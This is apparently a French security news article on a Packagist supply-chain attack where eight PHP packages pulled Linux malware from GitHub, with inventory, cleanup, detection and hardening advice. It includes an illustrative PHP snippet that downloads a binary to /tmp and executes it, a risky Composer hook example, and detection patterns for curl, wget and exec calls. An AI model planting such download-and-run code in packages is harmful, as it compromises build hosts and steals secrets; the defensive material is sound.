Une campagne de compromission de la chaîne d’approvisionnement a touché l’écosystème PHP via Packagist, avec huit paquets publiés ou mis à jour de manière malveillante afin de déployer un malware Linux récupéré depuis GitHub. L’alerte, relayée notamment par The Hacker News à partir des travaux de chercheurs en sécurité et des signalements de l’écosystème, concerne directement les équipes qui utilisent Composer en environnement de build, de déploiement ou parfois, plus risqué encore, directement en production. Le risque ne se limite pas à une simple bibliothèque défectueuse : l’exécution de scripts d’installation ou de code embarqué peut aboutir au téléchargement d’un binaire externe, à l’exfiltration d’identifiants, puis à la compromission plus large du serveur Linux qui héberge l’application PHP.

Le sujet doit être traité comme un incident de sécurité applicative et d’infrastructure. Les développeurs PHP sont concernés au moment du composer install ou du composer update, les équipes DevOps au niveau des runners CI/CD, des images de build et des hôtes de déploiement, et les RSSI du fait du risque de vol de secrets, de compromission latérale et d’atteinte à l’intégrité de la chaîne logicielle. À la différence d’une CVE classique portant sur une version précise d’un framework, il s’agit ici d’un incident supply chain : l’indicateur principal n’est pas un composant vulnérable au sens habituel, mais l’installation d’une version compromise. Il n’existe donc pas toujours un score CVSS unique et officiel pour l’ensemble de la campagne, même si l’impact opérationnel est comparable à une exécution de code à distance sur les systèmes qui installent ces dépendances.

La source initiale à citer est l’alerte médiatisée par The Hacker News, “Packagist Supply Chain Attack Infects 8 Packages Using GitHub-Hosted Linux Malware”, qui synthétise les observations des chercheurs et les paquets impliqués. En pratique, la remédiation suit une logique connue des incidents supply chain : identifier les dépendances concernées et leurs versions, supprimer les artefacts compromis, reconstruire depuis une base saine, examiner les journaux réseau et processus, puis effectuer une rotation complète des secrets présents sur les systèmes potentiellement exposés.

Versions affectées

Le point le plus important pour les équipes PHP est qu’il ne s’agit pas d’une faille affectant “toutes les versions” d’un framework donné, mais d’un ensemble de paquets spécifiques publiés sur Packagist avec des versions malveillantes. Les noms exacts des paquets et les versions touchées doivent être vérifiés à partir des avis de suppression, des pages Packagist, des commits de nettoyage éventuels et des IoC publiés par les chercheurs. Dans ce type d’incident, une même bibliothèque peut avoir :

  • des versions historiques légitimes ;
  • une ou plusieurs versions malveillantes publiées sur une courte fenêtre temporelle ;
  • éventuellement une version ultérieure “corrigée” ou une suppression pure et simple du package.

Autrement dit, la notion de “version corrigée” est ici différente d’un correctif traditionnel. Si un paquet a été supprimé ou abandonné, la version cible n’est pas forcément une mise à jour, mais un retrait complet de la dépendance. Si un mainteneur légitime a repris la main, la version cible sera celle explicitement identifiée comme saine dans l’advisory officielle ou dans l’historique Packagist/GitHub.

Pour les équipes opérationnelles, la bonne méthode consiste à inventorier l’environnement réel plutôt qu’à s’appuyer sur une liste théorique incomplète :

  • examiner composer.lock dans chaque dépôt applicatif ;
  • examiner les caches Composer sur les runners CI et les serveurs ;
  • rechercher les installations effectuées pendant la fenêtre de compromission ;
  • vérifier les images Docker et artefacts de build déjà produits ;
  • contrôler les miroirs privés ou proxys de dépendances si l’organisation en utilise.

Commandes utiles pour recenser les dépendances installées :

composer show --locked
composer show -t
grep -R "\"name\":\|\"version\":" composer.lock

Pour une revue plus ciblée, il faut rechercher les paquets explicitement mentionnés dans l’alerte source et dans les advisories associées. Si l’organisation maintient plusieurs applications PHP, il est recommandé d’automatiser cette vérification :

find /var/www /srv /home -type f -name composer.lock -print

Sur les runners CI ou les serveurs de build, vérifier également le cache Composer, qui peut conserver les archives de paquets compromis :

composer config cache-files-dir
ls -lah ~/.cache/composer

Si les paquets compromis ont été installés via une image conteneur, les versions affectées peuvent persister dans des couches d’image même après suppression logique. Il faut alors auditer les images existantes :

docker images
docker history <image>
docker run --rm <image> sh -c 'find / -name composer.lock -o -path "*vendor/*" 2>/dev/null'

En l’absence de CVE-ID unique officiellement attribué à l’ensemble de la campagne au moment des premiers signalements, il est préférable de référencer l’incident par sa source officielle et par les noms de paquets concernés, puis de suivre les éventuelles attributions ultérieures. Pour la gouvernance interne, de nombreuses organisations créent un identifiant d’incident interne de type SUPPLY-2025-XXX afin de tracer l’investigation, les actifs exposés et les actions de remédiation.

Vecteur d'attaque

Le vecteur d’attaque repose sur un mécanisme désormais classique de compromission de la chaîne d’approvisionnement logicielle : un paquet publié sur un registre de confiance apparent, ici Packagist, contient du code ou des scripts qui ne se contentent pas de fournir une fonctionnalité applicative, mais déclenchent des actions malveillantes lors de l’installation ou de l’exécution. Dans l’écosystème PHP, plusieurs surfaces sont à surveiller :

  • les scripts Composer déclarés dans composer.json, notamment post-install-cmd, post-update-cmd, pre-install-cmd ;
  • les plugins Composer, capables d’exécuter du code pendant la résolution ou l’installation ;
  • du code PHP chargé automatiquement via autoload et appelé très tôt ;
  • des bibliothèques qui embarquent des appels système comme exec(), shell_exec(), proc_open(), system() ;
  • des téléchargements de charges utiles externes depuis GitHub, Gist, CDN ou dépôts “release”.

Dans l’incident signalé, la chaîne observée suit un schéma particulièrement dangereux : l’installation d’un paquet PHP conduit au téléchargement d’un binaire Linux hébergé sur GitHub. Le fait que la charge utile soit hébergée sur GitHub n’atténue pas le risque ; au contraire, cela permet parfois de se fondre dans le trafic normal de build, surtout lorsque les équipes autorisent largement les sorties HTTPS depuis les runners CI ou les serveurs applicatifs. Une fois exécuté, le binaire peut collecter des identifiants, explorer l’environnement, récupérer des variables sensibles, persister localement ou préparer une compromission ultérieure.

Le scénario d’attaque concret le plus fréquent est le suivant :

  • un développeur ou une pipeline lance composer update ;
  • Composer télécharge une version compromise d’un package ;
  • un script ou plugin malveillant s’exécute ;
  • du code contacte GitHub pour récupérer un exécutable Linux ou un script complémentaire ;
  • le binaire est stocké dans un répertoire temporaire comme /tmp, /var/tmp ou dans le projet ;
  • l’exécutable est lancé avec les droits du compte courant, souvent un utilisateur de build, www-data, ou parfois un compte privilégié mal configuré ;
  • les secrets présents dans l’environnement sont collectés et exfiltrés.

Les secrets particulièrement exposés dans ce contexte sont nombreux :

  • jetons COMPOSER_AUTH et identifiants pour registres privés ;
  • clés d’accès cloud présentes dans les variables d’environnement CI ;
  • identifiants SSH des runners ou clés de déploiement Git ;
  • mots de passe de bases de données dans .env ;
  • tokens d’API tiers, paiements, messagerie, supervision ;
  • credentials Docker ou Kubernetes disponibles pendant le build.

Exemple simplifié d’un comportement suspect dans un paquet PHP :

<?php // Exemple pédagogique : téléchargement puis exécution d'un binaire externe $url = 'https://github.com/organisation/fichier/releases/download/v1/payload'; $dst = '/tmp/.cache-linux'; $data = file_get_contents($url); if ($data !== false) { file_put_contents($dst, $data); chmod($dst, 0755); exec($dst . ' >/dev/null 2>&1 &'); } ?>

Dans un paquet légitime, un téléchargement d’artefact externe pendant l’installation est déjà inhabituel et doit déclencher une revue. Dans un paquet malveillant, plusieurs signes reviennent souvent :

  • URL GitHub non documentée dans le projet ;
  • nom de fichier anodin ou caché, par exemple .cache, .helper, .updater ;
  • permissions exécutables ajoutées dynamiquement ;
  • usage de base64_decode(), gzinflate(), str_rot13() pour masquer la logique ;
  • déclenchement dans un hook Composer peu visible ;
  • effacement des traces après exécution.

Exemple de script Composer à haut risque :

{ "scripts": { "post-install-cmd": [ "php vendor/package/bin/bootstrap.php" ] } }

Le danger est accentué en CI/CD. Beaucoup de pipelines exécutent composer install avec un accès réseau large, un cache partagé et des secrets exportés globalement. Dans ce contexte, une simple dépendance compromise peut devenir un point d’entrée vers :

  • la compromission de l’environnement de build ;
  • la signature ou publication d’artefacts malveillants ;
  • le vol de credentials permettant d’accéder à des dépôts privés ;
  • la propagation à d’autres projets via caches et images de base ;
  • l’atteinte à la chaîne de déploiement entière.

Pour un hébergement mutualisé ou VPS chez des acteurs comme OVH, o2switch ou Scaleway, le risque dépend fortement de l’architecture. Sur un simple hébergement mutualisé, la capacité d’exécution native et de persistance peut être plus limitée. En revanche, sur un VPS, un serveur dédié, un conteneur avec privilèges excessifs ou un runner CI hébergé chez ces fournisseurs, l’impact peut être significatif. Le point central n’est pas l’hébergeur, mais les droits accordés au processus qui exécute Composer et la présence de secrets sur la machine.

Du point de vue de l’impact, on est proche d’une exécution de code arbitraire induite par dépendance compromise. Si l’on devait raisonner en termes CVSS pour l’environnement interne, de nombreuses organisations l’évalueraient comme critique lorsque le build dispose d’un accès direct aux secrets de production ou aux comptes de déploiement. Cette gravité “métier” est souvent plus importante que le score officiel absent ou non standardisé dans les incidents supply chain.

Comment patcher

La remédiation ne consiste pas seulement à “mettre à jour”. Il faut d’abord retirer les paquets compromis, purger les caches, reconstruire les artefacts, puis faire une rotation des secrets. L’ordre des opérations compte. Si une machine a potentiellement exécuté la charge utile, le simple fait de mettre à jour la dépendance n’efface pas l’exposition passée.

1. Identifier et supprimer les dépendances compromises

Dans chaque dépôt concerné, localisez les paquets signalés et les versions installées :

composer show --locked | grep -i "vendor/package"

Si le paquet n’est pas indispensable, retirez-le :

composer remove vendor/package

Si une version saine est disponible et explicitement confirmée par la source officielle ou le mainteneur légitime, imposez cette version :

composer require vendor/package:1.2.3 --no-scripts

L’option --no-scripts est utile pendant la phase de nettoyage pour éviter l’exécution de hooks potentiellement dangereux. Si plusieurs dépendances sont concernées, il faut les traiter ensemble puis régénérer le verrouillage :

composer update vendor/package another/package --with-all-dependencies --no-scripts

2. Purger les caches Composer

Les archives des paquets compromis peuvent rester présentes localement ou dans les runners :

composer clear-cache

Selon les environnements, supprimer également les répertoires de cache :

rm -rf ~/.cache/composer
rm -rf /root/.composer/cache

Sur des runners GitLab CI, GitHub Actions self-hosted ou Jenkins, il faut aussi invalider les caches partagés configurés dans la plateforme.

3. Réinstaller proprement les dépendances

Supprimez le répertoire vendor et réinstallez à partir d’un composer.lock assaini :

rm -rf vendor composer.lock

Si vous devez repartir d’un état connu et validé, regénérez le lock dans une branche de remédiation, puis réinstallez :

composer install --no-scripts --prefer-dist

Une fois la revue terminée, les scripts peuvent être réactivés dans un environnement contrôlé. Si l’application dépend de plugins Composer, vérifiez explicitement leur liste :

composer config --list | grep allow-plugins -A 20

Restreignez les plugins autorisés :

composer config allow-plugins.vendor/plugin true
composer config allow-plugins.untrusted/plugin false

4. Rebuild des images et artefacts

Si des images Docker ou artefacts ont été produits pendant la fenêtre d’exposition, ils doivent être reconstruits depuis une base propre. Ne pas recycler un artefact “probablement sain” :

docker build --no-cache -t app:clean .
docker compose build --no-cache

Supprimez les anciennes images locales et, si possible, retirez les tags compromis du registre :

docker image prune -a

5. Rotation des secrets

La rotation des secrets est obligatoire dès lors qu’un hôte a pu exécuter la charge utile. Les éléments à renouveler en priorité :

  • mots de passe de base de données ;
  • clés d’API et tokens OAuth ;
  • clés SSH de déploiement ;
  • identifiants de registres privés Composer, Docker, npm, PyPI ;
  • tokens GitHub/GitLab ;
  • credentials cloud et secrets Kubernetes.

Exemples de gestes techniques côté Linux :

passwd deploy
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_new

Dans GitHub, GitLab, Vault, AWS, GCP ou Azure, la rotation dépendra des services utilisés. Il faut aussi révoquer les sessions actives lorsque la plateforme le permet.

6. Mettre à jour les hôtes Linux si nécessaire

Le malware cible Linux. Si l’investigation révèle une persistance ou l’installation de composants additionnels, un simple nettoyage applicatif peut être insuffisant. Selon le niveau de compromission, la réponse adaptée peut aller de la suppression de fichiers temporaires jusqu’au reprovisionnement complet de la machine.

Commandes de mise à jour système usuelles :

apt update && apt full-upgrade -y
dnf upgrade -y
yum update -y

Ces commandes ne “corrigent” pas la compromission supply chain elle-même, mais elles font partie du retour à un état sain si l’analyse révèle d’autres faiblesses ou binaires implantés.

Détection

La détection doit couvrir trois axes : les dépendances installées, les traces d’exécution locale et les communications réseau sortantes. Comme souvent sur les incidents supply chain, l’IoC le plus fiable n’est pas une signature unique, mais la corrélation entre une installation de dépendance, un téléchargement inattendu depuis GitHub et l’apparition d’un exécutable Linux sur un hôte qui n’en avait pas besoin.

Contrôles sur le code et les dépendances

Recherchez dans les dépôts et dans vendor des primitives d’exécution et de téléchargement :

grep -R "exec\s*(" vendor/
grep -R "shell_exec\s*(" vendor/
grep -R "proc_open\s*(" vendor/
grep -R "curl_exec\s*(" vendor/
grep -R "file_get_contents\s*(.*http" vendor/
grep -R "base64_decode\s*(" vendor/

Inspectez aussi les scripts déclarés dans les composer.json des dépendances :

find vendor -name composer.json -print -exec grep -Hn "\"scripts\"\|\"allow-plugins\"" {} \;

Si l’organisation dispose d’un SCA, d’un proxy de dépendances ou d’un miroir interne, il faut l’interroger pour savoir quels projets ont récupéré les versions concernées. C’est souvent le moyen le plus rapide de mesurer l’exposition globale.

Indicateurs de compromission sur Linux

Les IoC précis dépendent de la charge utile observée, mais les équipes peuvent rechercher plusieurs signes faibles récurrents :

  • création récente de binaires ou scripts dans /tmp, /var/tmp, /dev/shm ;
  • fichiers cachés ou aux noms trompeurs proches de composants système ;
  • permissions exécutables ajoutées dans des répertoires applicatifs ;
  • processus enfants lancés par php, composer, sh ou bash pendant un build ;
  • connexions sortantes vers GitHub au moment de l’installation ;
  • modification inattendue de crontab, systemd user services, .bashrc, .profile ;
  • apparition de nouveaux comptes, clés SSH ou fichiers dans ~/.ssh.

Commandes d’investigation utiles :

find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls
find / -xdev -type f -perm /111 -mtime -7 2>/dev/null
ps auxf
journalctl --since "7 days ago" | grep -Ei "composer|php|github|curl|wget"
crontab -l
systemctl list-timers --all
ls -lah ~/.ssh

Sur des serveurs plus sensibles, l’usage d’outils comme auditd, osquery, Wazuh ou un EDR Linux permet d’aller plus loin, notamment pour retrouver les exécutions de curl, wget, chmod et d’un binaire inconnu déclenchées depuis un processus php ou composer.

Indicateurs réseau

Le téléchargement de la charge utile depuis GitHub est un élément central. Il faut examiner :

  • les logs proxy ;
  • les journaux de pare-feu sortant ;
  • les traces DNS ;
  • les logs des runners CI ;
  • les événements réseau sur les hôtes Linux.

Domaines et patterns à surveiller selon les IoC publiés :

  • github.com
  • raw.githubusercontent.com
  • objects.githubusercontent.com
  • github-releases.githubusercontent.com

Attention toutefois : bloquer GitHub en bloc est souvent irréaliste en build. L’objectif est plutôt de détecter les téléchargements inattendus depuis des dépôts non approuvés ou des URLs non documentées. Une approche efficace consiste à maintenir une liste blanche des organisations GitHub autorisées pour les téléchargements d’artefacts pendant les builds.

Exemple de règle de détection simple

Exemple de logique à implémenter dans un SIEM ou un EDR :

Si processus parent = "composer" ou "php" et processus enfant = "curl" ou "wget" ou exécutable inconnu et destination réseau contient "githubusercontent.com" ou "github.com" alors alerte priorité haute

Autre contrôle côté fichiers :

Si création d'un fichier exécutable dans /tmp ou /var/tmp dans les 5 minutes suivant un "composer install" ou "composer update" alors alerte priorité haute

Mitigation

Lorsqu’un patch ou un retrait immédiat n’est pas possible sur tous les projets, des mesures de mitigation doivent être appliquées rapidement pour réduire la surface d’attaque. Elles ne remplacent pas le nettoyage, mais elles peuvent empêcher une nouvelle exécution malveillante.

Désactiver les scripts Composer dans les environnements exposés

Pour les builds d’urgence ou les audits :

composer install --no-scripts --no-plugins

Cette mesure casse parfois certains workflows, mais elle réduit drastiquement le risque d’exécution automatique. Elle est particulièrement utile pendant l’investigation.

Restreindre les plugins autorisés

Composer permet de contrôler les plugins via allow-plugins. Toute organisation PHP mature devrait limiter explicitement les plugins de confiance :

{ "config": { "allow-plugins": { "trusted/plugin-a": true, "trusted/plugin-b": true, "*": false } } }

Cette pratique est un garde-fou important contre les paquets qui tentent d’abuser du mécanisme plugin.

Segmenter les environnements de build

Un runner CI ne devrait pas avoir accès à tous les secrets ni à la production. Mesures recommandées :

  • comptes de build dédiés, sans privilèges d’administration ;
  • secrets injectés à la demande et non globalement ;
  • sorties réseau filtrées ;
  • caches isolés par projet ;
  • images de build éphémères ;
  • impossibilité d’accéder directement aux bases de production.

Sur Kubernetes ou Docker, cela implique aussi de limiter les permissions, éviter les conteneurs privilégiés et monter les secrets uniquement lorsque nécessaire.

Mettre en place un miroir ou proxy de dépendances

Au lieu de laisser chaque pipeline télécharger librement depuis Internet, les organisations peuvent imposer un point de contrôle interne pour Packagist et les artefacts associés. Cela facilite :

  • la journalisation des téléchargements ;
  • le blocage rapide d’un package compromis ;
  • la reproductibilité des builds ;
  • la réduction de la dépendance à des sources externes volatiles.

Ce modèle est particulièrement pertinent pour les équipes qui gèrent plusieurs applications PHP ou des environnements réglementés.

Scanner les dépendances et les scripts avant exécution

Un contrôle simple mais utile consiste à analyser les fichiers composer.json et le contenu des paquets pour repérer :

  • scripts Composer ajoutés récemment ;
  • plugins non approuvés ;
  • fonctions d’exécution système ;
  • URLs externes ;
  • code obfusqué.

Ce contrôle peut être intégré dans la CI avant le composer install final. Il ne remplace pas un SCA, mais il ajoute une barrière pragmatique contre les compromissions grossières.

Surveiller les avis de sécurité

Pour le contexte francophone, il est utile de suivre :

  • les advisories officielles des mainteneurs et des registres ;
  • les publications des CERT, notamment CERT-FR lorsqu’un impact large sur des organisations françaises est constaté ;
  • les flux de sécurité des plateformes comme GitHub ;
  • les alertes de vos hébergeurs ou fournisseurs cloud lorsque des runners managés sont utilisés.

CERT-FR ne publie pas nécessairement une note pour chaque incident d’écosystème, mais son cadre de recommandations reste pertinent : inventaire, qualification, confinement, éradication, restauration et retour d’expérience.

Perspective écosystème et comparaison avec des incidents antérieurs

Cette compromission s’inscrit dans une tendance lourde : les attaquants visent de plus en plus les maillons amont de la chaîne logicielle plutôt que l’application finale. L’objectif est simple : compromettre une dépendance populaire ou crédible permet d’atteindre de nombreuses cibles en une seule opération. L’écosystème JavaScript a connu de multiples précédents via npm, Python via PyPI, et PHP n’est pas à l’abri malgré un volume d’incidents médiatisés parfois moindre.

La différence entre une vulnérabilité classique de framework et une compromission de package est importante :

  • une vulnérabilité classique se corrige par mise à jour vers une version patchée ;
  • une compromission supply chain impose une réponse de type incident, avec investigation hôte, rotation de secrets et revue de la chaîne CI/CD.

Par rapport à des failles comme des RCE dans des frameworks PHP connus, le point commun est l’exécution de code. La différence est que l’exécution peut survenir avant même que l’application ne traite une requête utilisateur, au moment du build ou de l’installation. Pour les équipes de sécurité, cela déplace le centre de gravité du WAF et du durcissement applicatif vers la gouvernance des dépendances, des pipelines et des secrets.

L’incident rappelle aussi une réalité souvent sous-estimée : composer install n’est pas une simple opération de téléchargement passif. C’est potentiellement une phase d’exécution de code. Toute organisation qui traite encore ce moment comme une étape “sans risque” dans des environnements riches en secrets s’expose inutilement.

La réponse stratégique doit donc inclure :

  • une politique de dépendances approuvées ;
  • des builds hermétiques ou au moins fortement contrôlés ;
  • des secrets éphémères ;
  • une journalisation exploitable des installations ;
  • une capacité de blocage centralisé des paquets compromis ;
  • des exercices de réponse à incident supply chain.

Pour les équipes PHP, cette alerte est un rappel concret : un paquet tiers doit être traité comme du code exécuté avec vos droits, pas comme une simple “librairie”. La priorité immédiate est d’identifier toute installation des paquets compromis, de nettoyer les environnements Linux potentiellement exposés et de faire une rotation complète des secrets. À moyen terme, le durcissement des pipelines Composer, la restriction des plugins et la mise sous contrôle des téléchargements externes doivent devenir des standards d’exploitation. Pour approfondir les mesures de hardening et les garde-fous opérationnels, un détour par la catégorie /categorie/pratiques est pertinent, en complément de la veille sur les advisories officielles liées à l’incident et aux paquets concernés.

Retour aux actualités